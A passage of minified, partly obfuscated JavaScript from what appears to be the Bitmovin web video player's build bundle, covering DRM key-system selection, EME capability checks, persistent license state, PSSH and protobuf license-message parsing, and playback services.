JSON[r[839]](t)||{}}catch(n){return{}}}function l(n,t){var f,i,s;try{f=n[r[456]];i={};Object[r[272]](f)[r[42]](function(n){i[n]={};Object[r[840]](f[n])[r[42]](function(t){var h=t[0],o=t[1],f=void 0===o?{}:o,s=(f[r[450]],f[r[162]],c(f,[r[450],r[162]]));delete s[r[452]];i[n][h]=e(e({},s),{hasLicense:!1,isPending:!1,wasRequested:!1,mediaKeyStatus:u[r[449]][r[448]]})})});s=JSON[r[114]](e(e({},n),{drmData:i}));t[r[421]](o,s)}catch(n){}}var e=this&&this[r[95]]||function(){return e=Object[r[96]]||function(n){for(var u,i,t=1,f=arguments[r[18]];t<f;t++)for(i in u=arguments[t])Object[r[21]][r[85]][r[19]](u,i)&&(n[i]=u[i]);return n},e[r[97]](this,arguments)},c=this&&this[r[822]]||function(n,t){var f={},i,u;for(i in n)Object[r[21]][r[85]][r[19]](n,i)&&t[r[399]](i)<0&&(f[i]=n[i]);if(null!=n&&r[111]==typeof Object[r[823]])for(u=0,i=Object[r[823]](n);u<i[r[18]];u++)t[r[399]](i[u])<0&&Object[r[21]][r[824]][r[19]](n,i[u])&&(f[i[u]]=n[i[u]]);return f};Object[r[2]](t,r[1],{value:!0});t[r[459]]=t[r[446]]=t[r[825]]=t[r[669]]=t[r[631]]=t[r[442]]=t[r[462]]=t[r[463]]=t[r[128]]=t[r[455]]=t[r[454]]=t[r[130]]=t[r[826]]=void 0;var f=i(15231),u=i(13936),o=r[827],s=-1;t[r[826]]=function(n){var t=h(n);return e({inPersistentState:!1,drmData:{}},t)};t[r[130]]=function(n){return f[r[830]](u[r[829]][r[828]],n)};t[r[454]]=function(n){return f[r[830]](u[r[829]][r[831]],n)};t[r[455]]=function(n){return f[r[830]](u[r[829]][r[832]],n)};t[r[128]]=function(n){return f[r[830]](u[r[829]][r[833]],n)};t[r[463]]=function(){return f[r[830]](u[r[829]][r[834]])};t[r[462]]=function(){return f[r[830]](u[r[829]][r[835]])};t[r[442]]=function(n){return f[r[830]](u[r[829]][r[836]],{storageHandler:n})};t[r[631]]=function(n){return f[r[830]](u[r[829]][r[837]],n)};t[r[669]]=function(n,t,i,e){return f[r[830]](u[r[829]][r[838]],{keySystemKind:n,keyUuid:t,status:i,initDataStr:e})};t[r[825]]=h;t[r[446]]=function(n,t){n&&(clearTimeout(s),s=window[r[380]](function(){return l(n,t)}))};t[r[459]]=function(n){return btoa(n)}},38381:function(n,t,i){function c(n,t,i){var e,s=o[r[459]](t),f=u(u({},n),{drmData:u({},n[r[456]])});return i?(f[r[456]][i]=n[r[456]][i]?u(u({},n[r[456]][i]),((e={})[s]=u({},n[r[456]][i][s]),e)):{},f):f}function s(n,t){var f,e=t[r[127]],l=t[r[841]],i=t[r[159]],s=c(n,e,i),h=o[r[459]](e),a=n[r[456]][i]&&n[r[456]][i][h]||{};return s[r[456]][i]=u(u({},n[r[456]][i]),((f={})[h]=u(u({},a),l),f)),s}function v(n,t){var u=t[r[127]],i=null,f=o[r[459]](u);return Object[r[272]](n[r[456]])[r[42]](function(t){if(t){var e=(i=c(i||n,u,l[r[205]][t]))[r[456]][t];i[r[456]][t]=e?Object[r[272]](e)[r[79]](function(n){return f!==n})[r[842]](function(n,t){return n[t]=e[t],n},{}):{}}}),i||n}var f,u=this&&this[r[95]]||function(){return u=Object[r[96]]||function(n){for(var u,i,t=1,f=arguments[r[18]];t<f;t++)for(i in u=arguments[t])Object[r[21]][r[85]][r[19]](u,i)&&(n[i]=u[i]);return n},u[r[97]](this,arguments)};Object[r[2]](t,r[1],{value:!0});t[r[439]]=void 0;var l=i(94304),a=i(21829),o=i(46570),e=i(13936),h={drmData:{},inPersistentState:!1};t[r[439]]=a[r[474]](h,((f={})[e[r[829]][r[828]]]=function(n,t){return s(n,t[r[843]])},f[e[r[829]][r[831]]]=function(n,t){return s(n,t[r[843]])},f[e[r[829]][r[832]]]=function(n,t){return v(n,t[r[843]])},f[e[r[829]][r[833]]]=function(n,t){return s(n,t[r[843]])},f[e[r[829]][r[834]]]=function(n){return function(n){var t={};return Object[r[272]](n[r[456]])[r[42]](function(i){i&&(t[i]={},Object[r[840]](n[r[456]][i])[r[42]](function(n){var r=n[0],f=n[1];t[i][r]=u(u({},f),{keyIds:[],license:null,hasLicense:!1,isPending:!1,wasRequested:!1,initData:null})}))}),{inPersistentState:n[r[461]],drmData:t}}(n)},f[e[r[829]][r[837]]]=function(n,t){var i=t[r[843]];return u(u({},n),{inPersistentState:i})},f[e[r[829]][r[835]]]=function(){return h},f[e[r[829]][r[836]]]=function(n,t){var i=t[r[843]];return o[r[826]](i[r[846]])},f[e[r[829]][r[838]]]=function(n,t){var e,i=t[r[843]],c=i[r[844]],l=i[r[845]],a=i[r[307]],o=i[r[127]],s=n[r[456]][c],f,h;return(null==s?void 0:s[o])?(f=u({},s),h=f[o],h[r[467]][r[387]](l)&&(f[o]=u(u({},h),{mediaKeyStatus:a})),u(u({},n),{drmData:u(u({},n[r[456]]),(e={},e[c]=f,e))})):n},f))},37299:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[607]]=t[r[261]]=void 0;var u=i(27781);t[r[261]]=function(n){return n[r[437]]};t[r[607]]=function(n,t,i){var f=u[r[430]](t,i)[r[458]](function(n){return n[r[467]]});return n[r[79]](function(n){return f[r[387]](n)})[r[36]](function(n){return u[r[431]](n,u[r[432]](i,t),u[r[433]])})[r[847]](function(n){return!0===n})}},13936:function(n,t){var i,u;Object[r[2]](t,r[1],{value:!0});t[r[449]]=t[r[829]]=void 0,function(n){n[r[828]]=r[848];n[r[831]]=r[849];n[r[832]]=r[850];n[r[833]]=r[851];n[r[834]]=r[852];n[r[838]]=r[853];n[r[837]]=r[854];n[r[835]]=r[855];n[r[836]]=r[856]}(i||(t[r[829]]=i={})),function(n){n[r[448]]=r[857];n[r[465]]=r[858];n[r[590]]=r[859];n[r[860]]=r[861];n[r[466]]=r[862];n[r[593]]=r[863];n[r[864]]=r[865];n[r[670]]=r[866]}(u||(t[r[449]]=u={}))},30479:function(n,t,i){function h(n){return n[r[79]](function(n){var t;if(null!==(t=n[r[876]])&&void 0!==t)return t[r[387]](r[874])})}function c(n){return h(n)[r[18]]>0&&o[r[229]]()&&o[r[879]]()[r[878]]>=o[r[880]]}var u=this&&this[r[95]]||function(){return u=Object[r[96]]||function(n){for(var u,i,t=1,f=arguments[r[18]];t<f;t++)for(i in u=arguments[t])Object[r[21]][r[85]][r[19]](u,i)&&(n[i]=u[i]);return n},u[r[97]](this,arguments)},f=this&&this[r[17]]||function(n,t,i){if(i||2===arguments[r[18]])for(var f,u=0,e=t[r[18]];u<e;u++)!f&&u in t||(f||(f=Array[r[21]][r[20]][r[19]](t,0,u)),f[u]=t[u]);return n[r[22]](f||Array[r[21]][r[20]][r[19]](t))};Object[r[2]](t,r[1],{value:!0});t[r[471]]=void 0;var s=i(94304),e=i(81361),o=i(43485),l=i(23103),a=i(78165),v=function(){function n(){this[r[867]]=new a[r[868]]}return n[r[21]][r[869]]=function(n){return this[r[867]]?this[r[867]][r[869]](n):Promise[r[151]](r[870])},n[r[21]][r[871]]=function(){var n=this,t=Object[r[272]](s[r[178]])[r[458]](function(n){return s[r[178]][n]});return l[r[872]](t[r[36]](function(t){return n[r[869]](t)}))[r[102]](function(n){return n[r[79]](function(n){return n})})[r[100]](function(){return[]})},n[r[21]][r[873]]=function(n,t,i){var s,o;return c(t)?(o=h(t)[r[36]](function(n){return u(u({},n),{contentType:n[r[876]][r[47]](r[874],r[875])})}),o=o[r[79]](function(n){return!e[r[877]](t,n)}),s=f(f([],t,!0),o,!0)):s=t,this[r[867]][r[873]](n,s,i)[r[102]](function(n){if(c(t)){var i=n[r[617]];n[r[617]]=function(n){var t=n[r[79]](function(n){var t;if(null!==(t=n[r[876]])&&void 0!==t)return t[r[387]](r[875])})[r[36]](function(n){return u(u({},n),{contentType:n[r[876]][r[47]](r[875],r[874])})})[r[79]](function(t){return!e[r[877]](n,t)});return f(f([],n,!0),t,!0)}(i);n[r[617]]=n[r[617]][r[79]](function(n){return e[r[877]](t,n,function(n,t){return n[r[876]]===t[r[876]]})})}return n})},n[r[21]][r[150]]=function(){this[r[867]][r[150]]()},n}();t[r[471]]=v},78165:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[868]]=void 0;var f=i(10676),e=i(54838),u=r[570],o=[{initDataTypes:[r[87]],audioCapabilities:[{contentType:r[687]}],videoCapabilities:[{contentType:r[688]}]},{initDataTypes:[r[87]],videoCapabilities:void 0,audioCapabilities:void 0}],s=function(){function n(){this[r[881]]=document[r[755]](r[369]);this[r[882]]=f[r[468]](this[r[883]][r[536]](this),function(n,t,i){return String(e[r[489]][r[884]](JSON[r[114]]({keySystem:n,audioCapabilities:t,videoCapabilities:i})))})}return n[r[21]][r[869]]=function(n){var t;return r[111]==typeof window[r[885]]?this[r[886]](n):r[111]==typeof window[r[634]][r[633]]?this[r[887]](n)[r[102]](function(n){return n[r[170]]}):r[111]==typeof window[r[569]]?this[r[888]](n):r[111]==typeof(null===(t=this[r[881]])||void 0===t?void 0:t[r[710]])?this[r[889]](n):Promise[r[151]](u)},n[r[21]][r[886]]=function(n){var i,t;return(null===(t=(i=window[r[885]])[r[423]])||void 0===t?void 0:t[r[19]](i,n))?Promise[r[154]](n):Promise[r[151]](u)},n[r[21]][r[887]]=function(n,t){return void 0===t&&(t=o),window[r[634]][r[633]](n,t)},n[r[21]][r[888]]=function(n){var i,t;return(null===(t=(i=window[r[569]])[r[423]])||void 0===t?void 0:t[r[19]](i,n))?Promise[r[154]](n):Promise[r[151]](u)},n[r[21]][r[889]]=function(n){var t;return(null===(t=this[r[881]])||void 0===t?void 0:t[r[715]](r[409],n))?Promise[r[154]](n):Promise[r[151]](u)},n[r[21]][r[873]]=function(n,t,i){return this[r[882]](n,t,i)},n[r[21]][r[883]]=function(n,t,i){if(r[111]==typeof window[r[634]][r[633]]){var u=[{initDataTypes:[r[87]],audioCapabilities:t,videoCapabilities:i},{initDataTypes:[r[87]],videoCapabilities:void 0,audioCapabilities:void 0}];return window[r[634]][r[633]](n,u)[r[102]](function(n){var f,e,u=n[r[629]]();return{audioCapabilities:null!==(f=null==u?void 0:u[r[617]])&&void 0!==f?f:t,videoCapabilities:null!==(e=null==u?void 0:u[r[616]])&&void 0!==e?e:i}})[r[100]](function(){return{audioCapabilities:t,videoCapabilities:i}})}return Promise[r[154]]({audioCapabilities:t,videoCapabilities:i})},n[r[21]][r[150]]=function(){this[r[881]]=null;this[r[882]][r[447]]()},n}();t[r[868]]=s},28820:function(n,t,i){function l(n,i,f){return function(n,t){return function(n,t){var i=Object[r[272]](n)[r[458]](function(t){return n[t][r[36]](function(n){return{kind:t,uid:n}})}),u=t[r[458]](function(n){var t=n[r[869]],u=n[r[125]];return i[r[36]](function(n){return t(n[r[174]])[r[102]](function(){return{emeHandler:{kind:u},keySystem:n}})[r[100]](function(){return null})})});return Promise[r[106]](u)[r[102]](function(n){return n[r[79]](function(n){return null!==n})})}(n,e[r[891]](t))}(t[r[890]](n,i),f)[r[102]](function(t){var f=c(n,i),l=w(t,f),o=function(n,t){var i=function(n,t){return t[r[911]]-n[r[911]]},u=function(n){return n[r[912]]},f=function(n,t){return function(i){var f=t(i),u=n[r[712]](function(n){return n===f});return{weight:-1!==u?n[r[18]]-u:u,wrapped:i}}},o=f([e[r[248]][r[913]],e[r[248]][r[914]],e[r[248]][r[915]],e[r[248]][r[247]],e[r[248]][r[916]],e[r[248]][r[917]],e[r[248]][r[249]]],function(n){return n[r[110]][r[125]]}),s=f(n,function(n){return n[r[170]][r[125]]});return t[r[36]](s)[r[918]](i)[r[36]](u)[r[842]](function(n,t){var i=n[n[r[18]]-1];return void 0!==i&&i[i[r[18]]-1][r[170]][r[125]]===t[r[170]][r[125]]?i[r[73]](t):n[r[73]]([t]),n},[])[r[458]](function(n){return n[r[36]](o)[r[918]](i)[r[36]](u)})}(f[r[905]],l)[0],s,h;return void 0===o?(s=function(n){return n[r[79]](function(t,i){return-1===n[r[399]](t,i+1)})}(t[r[36]](function(n){return n[r[170]][r[125]]}))[r[668]](r[667]),h=Object[r[272]](i)[r[79]](function(n){return Object[r[457]](u[r[205]])[r[387]](n)})[r[668]](r[667]),Promise[r[151]](r[924]+r[927][r[22]](h,r[926])[r[22]](s,r[925]))):o})}var f=this&&this[r[95]]||function(){return f=Object[r[96]]||function(n){for(var u,i,t=1,f=arguments[r[18]];t<f;t++)for(i in u=arguments[t])Object[r[21]][r[85]][r[19]](u,i)&&(n[i]=u[i]);return n},f[r[97]](this,arguments)},h=this&&this[r[17]]||function(n,t,i){if(i||2===arguments[r[18]])for(var f,u=0,e=t[r[18]];u<e;u++)!f&&u in t||(f||(f=Array[r[21]][r[20]][r[19]](t,0,u)),f[u]=t[u]);return n[r[22]](f||Array[r[21]][r[20]][r[19]](t))};Object[r[2]](t,r[1],{value:!0});t[r[252]]=t[r[890]]=t[r[179]]=void 0;var u=i(94304),s=i(87326),a=i(41503),v=i(69372),y=i(97011),p=i(19802),e=i(51981),o=i(19957),c=function(n,t){var e=function(n){return r[896]==typeof n},i=function(n){return r[897]==typeof n&&n!==1/0&&n!==-1/0&&!isNaN(n)},o=Object[r[272]](t)[r[79]](function(i){return!!t[i]&&i in n})[r[842]](function(n,u){return n[u]=f(f({},t[u]),{licenseRequestRetryDelay:i(t[u][r[731]])?Math[r[898]](0,t[u][r[731]]):s[r[900]][r[899]],maxLicenseRequestRetries:i(t[u][r[321]])?Math[r[901]](Math[r[898]](0,t[u][r[321]])):s[r[900]][r[902]],withCredentials:e(t[u][r[317]])?t[u][r[317]]:s[r[900]][r[903]]}),n},Object[r[904]](null)),c=function(n){var i=[u[r[205]][r[892]],u[r[205]][r[204]],u[r[205]][r[893]],u[r[205]][r[894]]],t=(Array[r[895]](n)?n[r[79]](function(n){return i[r[387]](n)}):[])[r[842]](function(n,t){return n[r[387]](t)||n[r[73]](t),n},[]),f=[u[r[205]][r[204]],u[r[205]][r[892]],u[r[205]][r[894]],u[r[205]][r[893]]][r[79]](function(n){return!t[r[387]](n)});return h(h([],t,!0),f,!0)}(t[r[905]]);return f(f({},o),{preferredKeySystems:c})},w=function(n,t){var i,f,s,c=o[r[906]](function(n){return n[r[170]][r[125]]===u[r[205]][r[892]]},function(n){return!!t[r[93]]&&!!t[r[93]][r[761]]&&n[r[170]][r[125]]===u[r[205]][r[204]]&&n[r[110]][r[125]]===e[r[248]][r[247]]}),l=o[r[906]](function(n){return!!t[r[93]]&&n[r[170]][r[125]]===u[r[205]][r[204]]},function(n){return!!t[r[907]]&&n[r[170]][r[125]]===u[r[205]][r[893]]},function(n){return!!t[r[908]]&&n[r[170]][r[125]]===u[r[205]][r[894]]}),h=n[r[79]](o[r[910]](o[r[909]](c),l));return(null===(s=null===(f=null===(i=t[r[93]])||void 0===i?void 0:i[r[778]])||void 0===f?void 0:f[r[626]])||void 0===s?void 0:s[r[387]](a[r[3]][r[12]][r[15]]))?h[r[79]](function(n){return n[r[170]][r[174]]!==u[r[178]][u[r[205]][r[204]]][1]}):h},b=function(n,t,i){switch(n){case u[r[205]][r[892]]:throw new Error(r[919]);case u[r[205]][r[204]]:return new v[r[28]](i,t[r[93]]);case u[r[205]][r[893]]:return new y[r[782]](i,t[r[907]]);case u[r[205]][r[894]]:return new p[r[798]](i,t[r[908]]);default:throw new Error(r[920][r[22]](n));}};t[r[179]]=function(n,t,i){return l(n,t,i)[r[102]](function(u){return function(n,t,i){return f(f({},n),{config:t,emeHandler:f(f({},n[r[110]]),{instance:e[r[921]](n[r[110]][r[125]],i)}),keySystem:f(f({},n[r[170]]),{instance:b(n[r[170]][r[125]],t,i)})})}(u,c(n,t),i)})};t[r[890]]=function(n,t){for(var s,f,e,i={fairplay:[],playready:[],primetime:[],widevine:[]},c=function(n,o){var s,h,c;if(!n||!Object[r[457]](u[r[205]])[r[163]](function(t){return t===n}))return r[922];s=n;h=null!==(e=null===(f=null==t?void 0:t[s])||void 0===f?void 0:f[r[923]])&&void 0!==e?e:[];i[s]=h;c=o[r[79]](function(n){return!h[r[387]](n)});i[s]=i[s][r[22]](c)},o=0,h=Object[r[840]](n);o<h[r[18]];o++)s=h[o],c(s[0],s[1]);return i};t[r[252]]=l},51981:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[921]]=t[r[891]]=t[r[248]]=void 0;var u,o=i(13533),f=i(91520),e=i(16368),c=i(40474),l=i(14105),a=i(91284);!function(n){n[r[249]]=r[249];n[r[913]]=r[913];n[r[914]]=r[914];n[r[247]]=r[247];n[r[915]]=r[915];n[r[916]]=r[916];n[r[917]]=r[917]}(u||(t[r[248]]=u={}));var v=function(n){return o[r[231]]()[r[237]]&&f[r[235]][r[234]](e[r[233]][r[238]])?s(n):Promise[r[151]]()},y=function(n){return function(t){return o[r[231]]()[r[237]]&&f[r[235]][r[234]](e[r[233]][r[238]])?h(n)(t):Promise[r[151]]()}},s=function(n){return l[r[571]](n)},p=function(n){return c[r[475]](n)},h=function(n){return function(t){return a[r[690]](n[r[146]],t)}},w=function(n){return o[r[231]]()[r[928]]&&f[r[235]][r[234]](e[r[233]][r[929]])?s(n):Promise[r[151]]()},b=function(n){return function(t){return new Promise(function(i,u){o[r[231]]()[r[229]]&&f[r[235]][r[234]](e[r[233]][r[232]])&&i(h(n)(t));u()})}};t[r[891]]=function(n){return[{kind:u[r[247]],isSupported:s},{kind:u[r[913]],isSupported:v},{kind:u[r[914]],isSupported:y(n)},{kind:u[r[249]],isSupported:p},{kind:u[r[915]],isSupported:w},{kind:u[r[916]],isSupported:b(n)},{kind:u[r[917]],isSupported:h(n)}]};t[r[921]]=function(n,t){switch(n){case u[r[249]]:return new c[r[476]](t);case u[r[913]]:return new(f[r[235]][r[225]](e[r[233]][r[238]])[r[930]]())(t);case u[r[914]]:return new(f[r[235]][r[225]](e[r[233]][r[238]])[r[931]]())(t);case u[r[916]]:return new(f[r[235]][r[225]](e[r[233]][r[232]])[r[932]]())(t);case u[r[915]]:return new(f[r[235]][r[225]](e[r[233]][r[929]])[r[933]]())(t);case u[r[247]]:return new l[r[191]](t);case u[r[917]]:return new a[r[472]](t);default:throw new Error(r[934]);}}},19957:function(n,t){Object[r[2]](t,r[1],{value:!0});t[r[935]]=t[r[936]]=t[r[909]]=t[r[906]]=t[r[910]]=void 0;t[r[910]]=function(){for(var t=[],n=0;n<arguments[r[18]];n++)t[n]=arguments[n];return function(){for(var i=[],n=0;n<arguments[r[18]];n++)i[n]=arguments[n];return t[r[842]](function(n,t){return n&&t[r[97]](void 0,i)},!0)}};t[r[906]]=function(){for(var t=[],n=0;n<arguments[r[18]];n++)t[n]=arguments[n];return function(){for(var i=[],n=0;n<arguments[r[18]];n++)i[n]=arguments[n];return t[r[842]](function(n,t){return n||t[r[97]](void 0,i)},!1)}};t[r[909]]=function(n){return function(){for(var i=[],t=0;t<arguments[r[18]];t++)i[t]=arguments[t];return!n[r[97]](void 0,i)}};var i=function(n,t){if(n[r[18]]!==t[r[18]])return!1;for(var i=0;i<n[r[18]];i++)if(n[i]!==t[i])return!1;return!0};t[r[936]]=function(n,t){var f,u=null,e=void 0!==t?t:i;return function(){for(var t=[],i=0;i<arguments[r[18]];i++)t[i]=arguments[i];return null!==u&&e(t,u)||(f=n[r[97]](void 0,t),u=t),f}};t[r[935]]=function(n,t){return Object[r[272]](n)[r[79]](function(n){return!t[r[387]](n)})[r[842]](function(t,i){return t[i]=n[i],t},Object[r[904]](null))}},48630:function(n,t,i){function s(n){var t={},s=new DataView(n),i=u[r[50]][r[49]],v=f[r[26]][r[937]](s,i,u[r[50]][r[51]]),l,h,a,c;if(i+=u[r[50]][r[51]],r[66]!==v)return null;if(l=s[r[63]](i),i+=u[r[50]][r[52]]+u[r[50]][r[53]],h=f[r[26]][r[938]](s,i,u[r[50]][r[54]]),i+=u[r[50]][r[54]],t[r[939]]=h,t[r[940]]=r[941][r[22]](o[r[72]][r[71]](h)),e[r[80]][r[85]](t[r[940]])&&(t[r[159]]=e[r[80]][t[r[940]]]),l>0)for(a=s[r[61]](i),i+=u[r[50]][r[56]],t[r[194]]=[],c=0;c<a;c++)t[r[194]][r[73]](f[r[26]][r[938]](s,i,u[r[50]][r[57]])),i+=u[r[50]][r[57]];return t[r[162]]=n,t[r[127]]=f[r[26]][r[30]](n,!0),t}Object[r[2]](t,r[1],{value:!0});t[r[473]]=void 0;var e=i(68039),u=i(97630),f=i(81361),o=i(56093);t[r[473]]=function(n){var i,h,f;if(!n||n[r[58]]<u[r[50]][r[49]]+u[r[50]][r[51]])return[];var t=0,e=n instanceof Uint8Array?n[r[29]]:n,c=new DataView(e),o=[];do i=c[r[61]](t),h=e[r[20]](t,t+i),t+=i,f=s(h),f&&o[r[73]](f);while(t<n[r[58]]);return o}},23103:function(n,t){Object[r[2]](t,r[1],{value:!0});t[r[872]]=void 0;t[r[872]]=function(n){if(!n||!Array[r[895]](n))return Promise[r[151]](r[942]);var t=[],u=n[r[18]]>0,i=Promise[r[154]](null);return n[r[42]](function(n,f){i=i[r[102]](function(){return n})[r[102]](function(n){t[f]=n;u=!1})[r[100]](function(){t[f]=void 0})}),i[r[102]](function(){return u?Promise[r[151]](t):t})}},53256:function(n,t){function f(n){var t,i=[];do{if(void 0===(t=n[r[957]]()))break;i[r[73]](t&h)}while(t&c);return i[r[842]](function(n,t,i){return n+(t<<i*l)},0)}function e(n,t){for(var f,i=[],u=0;u<t;u++){if(f=n[r[957]](),void 0===f)break;i[r[73]](f)}return i}function a(n){var t=f(n);if(void 0!==t)return{wireType:7&t,fieldNumber:t>>3}}function s(n){return Array[r[895]](n)&&n[r[847]](function(n){return r[897]==typeof n})}function v(n,t){switch(n[r[958]]){case u[r[948]]:return i(i({},n),{value:f(t)});case u[r[949]]:return i(i({},n),{value:e(t,8)});case u[r[950]]:var o=f(t);return o?i(i({},n),{value:e(t,o)}):void 0;case u[r[953]]:return i(i({},n),{value:e(t,4)});case u[r[951]]:case u[r[952]]:default:return}}var i=this&&this[r[95]]||function(){return i=Object[r[96]]||function(n){for(var u,i,t=1,f=arguments[r[18]];t<f;t++)for(i in u=arguments[t])Object[r[21]][r[85]][r[19]](u,i)&&(n[i]=u[i]);return n},i[r[97]](this,arguments)},o;Object[r[2]](t,r[1],{value:!0});t[r[943]]=t[r[944]]=t[r[945]]=t[r[946]]=t[r[947]]=void 0;var u,h=127,c=128,l=7;!function(n){n[n[r[948]]=0]=r[948];n[n[r[949]]=1]=r[949];n[n[r[950]]=2]=r[950];n[n[r[951]]=3]=r[951];n[n[r[952]]=4]=r[952];n[n[r[953]]=5]=r[953]}(u||(t[r[947]]=u={}));o=function(){function n(n){this[r[954]]=0;this[r[955]]=new Uint8Array(n)}return n[r[21]][r[956]]=function(){return this[r[954]]<this[r[955]][r[58]]},n[r[21]][r[957]]=function(){if(this[r[956]]()){var n=this[r[955]][this[r[954]]];return this[r[954]]++,n}},n[r[21]][r[649]]=function(){this[r[954]]=0},n}();t[r[946]]=function(n){for(var i,u,e=s(n)?new Uint8Array(n)[r[29]]:n,f=[],t=new o(e);t[r[956]]();){if(i=a(t),!i)break;u=v(i,t);u&&f[r[73]](u)}return f};t[r[945]]=function(n,t){return n[r[79]](function(n){return n[r[959]]===t})};t[r[944]]=function(n,t){return n[r[424]](function(n){return n[r[959]]===t})};t[r[943]]=function(n){return void 0!==n&&n[r[958]]===u[r[950]]&&s(n[r[550]])}},72987:function(n,t,i){function a(n){var t=u[r[944]](n,4);return(null==t?void 0:t[r[550]])===e[r[960]]}function v(n){var t=u[r[944]](n,l);if(r[897]==typeof(null==t?void 0:t[r[550]]))return null==t?void 0:t[r[550]]}function h(n,t){var i=u[r[946]](n);if(function(n,t){return v(n)===t}(i,t))return function(n){var t=u[r[944]](n,2);if(u[r[943]](t))return u[r[946]](t[r[550]])}(i)}function c(n){var t=u[r[945]](n,2)[r[79]](u[r[943]])[r[79]](function(n){return 16===n[r[550]][r[18]]});if(0!==t[r[18]])return t[r[36]](function(n){return s[r[72]][r[94]](new Uint8Array(n[r[550]])[r[29]])})}function y(n){var t=new DataView(n[r[29]]),i;if(!(t[r[58]]<=8))return 1===t[r[63]](8)&&t[r[58]]>27?(i=t[r[61]](27),n[r[29]][r[20]](28+16*i)):n[r[29]][r[20]](28)}Object[r[2]](t,r[1],{value:!0});t[r[820]]=t[r[818]]=t[r[810]]=void 0;var f,e,o=i(81361),s=i(56093),u=i(53256),l=1;!function(n){n[n[r[961]]=1]=r[961];n[n[r[963]]=2]=r[963]}(f||(f={})),function(n){n[n[r[960]]=2]=r[960]}(e||(e={}));t[r[810]]=function(n){var s=h(n,f[r[961]]),t,l,i,p,e;if(s&&(t=u[r[944]](s,2),u[r[943]](t)&&(l=u[r[946]](t[r[550]]),i=u[r[944]](l,1),u[r[943]](i)))){var a=u[r[946]](i[r[550]]),v=u[r[944]](a,1),y=u[r[944]](a,3);if(u[r[943]](y)&&u[r[943]](v)&&(p=o[r[26]][r[962]](new Uint8Array(y[r[550]])[r[29]]),e=c(u[r[946]](v[r[550]])),e))return{requestId:p,requestedKeyIds:e}}};t[r[818]]=function(n){var i=h(n,f[r[963]]),e,v,c,y,l,t;if(i&&(e=u[r[944]](i,1),u[r[943]](e)&&(v=u[r[946]](e[r[550]]),c=u[r[944]](v,1),u[r[943]](c)&&(y=o[r[26]][r[962]](new Uint8Array(c[r[550]])[r[29]]),l=function(n){return u[r[945]](n,3)[r[79]](u[r[943]])[r[36]](function(n){return u[r[946]](n[r[550]])})[r[79]](a)}(i),0!==l[r[18]]&&(t=function(n){for(var o,i,f=[],t=0,e=n;t<e[r[18]];t++){if(o=e[t],i=u[r[944]](o,1),!u[r[943]](i))return;f[r[73]](s[r[72]][r[94]](new Uint8Array(i[r[550]])[r[29]]))}return f}(l),t&&function(n){return n[r[847]](function(n){return r[89]==typeof n})}(t))))))return{requestId:y,returnedKeyIds:t}};t[r[820]]=function(n){var i=y(new Uint8Array(n)),t;return i?(t=c(u[r[946]](i)),null!=t?t:[]):[]}}},function(n){return n(n[r[964]]=27916)}])};r[779]==typeof t&&"object"==r[779]?n[r[966]]=f():"function"==r[111]&&i.amdD[r[967]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[779]==typeof t?t[r[968]]=f():(u[r[969]]=u[r[969]]||{},u[r[969]][r[970]]=u[r[969]][r[970]]||{},u[r[969]][r[970]][r[968]]=f())},58:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[238],{73543:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.ContainerFormat=void 0,function(n){n.MP4="mp4";n.TS="ts";n.WEBM="webm"}(i||(t.ContainerFormat=i={}))},29954:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.DrmKidErrorHandler=void 0;var r=i(18665),e=i(76650),o=i(28819),u=i(8272),s=i(3464),f=i(68294),h=function(){function n(n,t){var u=this,i;this.context=n;this.onDownloadedRepresentationExcludedCallback=t;this.onDrmKidsWithErrorsChanged=function(n,t){if(void 0!==n&&void 0!==t){var i=n.filter(function(n){return!t.includes(n)});u.maybeExcludeRepresentations(i)}};i=n.sourceContext.sourceIdentifier;this.store=n.store;this.logger=n.logger;this.sourceStore=n.serviceManager.get(r.ServiceName.SourceStoreService,i);this.manifestService=n.serviceManager.get(r.ServiceName.ManifestService,i);this.unsubscribeFromStore=s.subscribe(this.sourceStore)(f.getDrmKeyIdsWithErrors,this.onDrmKidsWithErrorsChanged)}return n.prototype.maybeExcludeRepresentations=function(n){var t=function(n,t){return n.getAllRepresentations().filter(function(n){return n.associatedKid&&t.includes(n.associatedKid)}).map(function(n){return n._internalId})}(this.manifestService,n),i=this.store.getState(),r;0!==t.length&&void 0!==i&&(r=function(n,t){return t.some(function(t){return n.some(function(n){return n.equals(t)})})}(function(n){return o.getMetricsHistoryFromInstanceState(n,"default",u.MetricType.RequestedRepresentations).map(function(n){return n.value})}(i),t),this.logger.debug("Excluding representations due to DRM licenses not being available",t),this.manifestService.excludeRepresentations(t)&&r&&(this.store.dispatch(e.clearMetricsHistory("default",u.MetricType.RequestedRepresentations)),this.onDownloadedRepresentationExcludedCallback()))},n.prototype.trackSegment=function(n){var t=n.getDrmKid();if(void 0!==t){var i=this.sourceStore.getState(),r=n.getRepresentationId(),u=i?f.getDrmKeyIdsWithErrors(i):[];(function(n,t,i){return n!==i.getRepresentationDrmKid(t)})(t,r,this.manifestService)&&(function(n,t,i){i.setRepresentationDrmKid(t,n)}(t,r,this.manifestService),this.maybeExcludeRepresentations(u))}},n.prototype.dispose=function(){this.unsubscribeFromStore()},n}();t.DrmKidErrorHandler=h},6476:function(n,t,i){function r(n){n.shouldClearSubtitleServiceBuffers()&&n.clearSubtitleServiceBuffers()}Object.defineProperty(t,"__esModule",{value:!0});t.HeartbeatService=void 0;var u=i(18665),f=function(){function n(n,t){this.serviceManager=n;this.mediaPlayerController=t;this.heartbeatTimeoutId=-1}return Object.defineProperty(n.prototype,"streamTimeService",{get:function(){return this.serviceManager.get(u.ServiceName.StreamTimeService)},enumerable:!1,configurable:!0}),n.prototype.resetHeartbeatTimeout=function(){var n=this;clearTimeout(this.heartbeatTimeoutId);this.heartbeatTimeoutId=window.setTimeout(function(){return n.beat()},250)},n.prototype.beat=function(){this.resetHeartbeatTimeout(),function(n,t){n.shouldSuspendHeartbeat()||function(n,t){var i=n.getActiveSegmentControllers(),u=i.length>0;u&&i.forEach(function(i){var 